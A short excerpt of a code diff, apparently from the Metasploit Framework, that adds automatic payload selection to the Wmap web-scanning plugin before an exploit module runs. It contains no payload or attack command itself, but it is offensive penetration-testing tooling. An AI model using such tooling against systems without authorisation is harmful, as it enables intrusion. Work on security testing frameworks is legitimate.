$stdout.write psh
else
print_error("Unsupported format")
exit
+4
View File
@@ -1679,6 +1679,10 @@ class Plugin::Wmap < Msf::Plugin
'Options' => opts
})
when 'exploit'
if not opts['PAYLOAD']
opts['PAYLOAD'] = WmapCommandDispatcher::Exploit.choose_payload(modinst, opts['TARGET'])
end
sess = Msf::Simple::Exploit.exploit_simple(modinst, {
'Payload' => opts['PAYLOAD'],
'Target' => opts['TARGET'],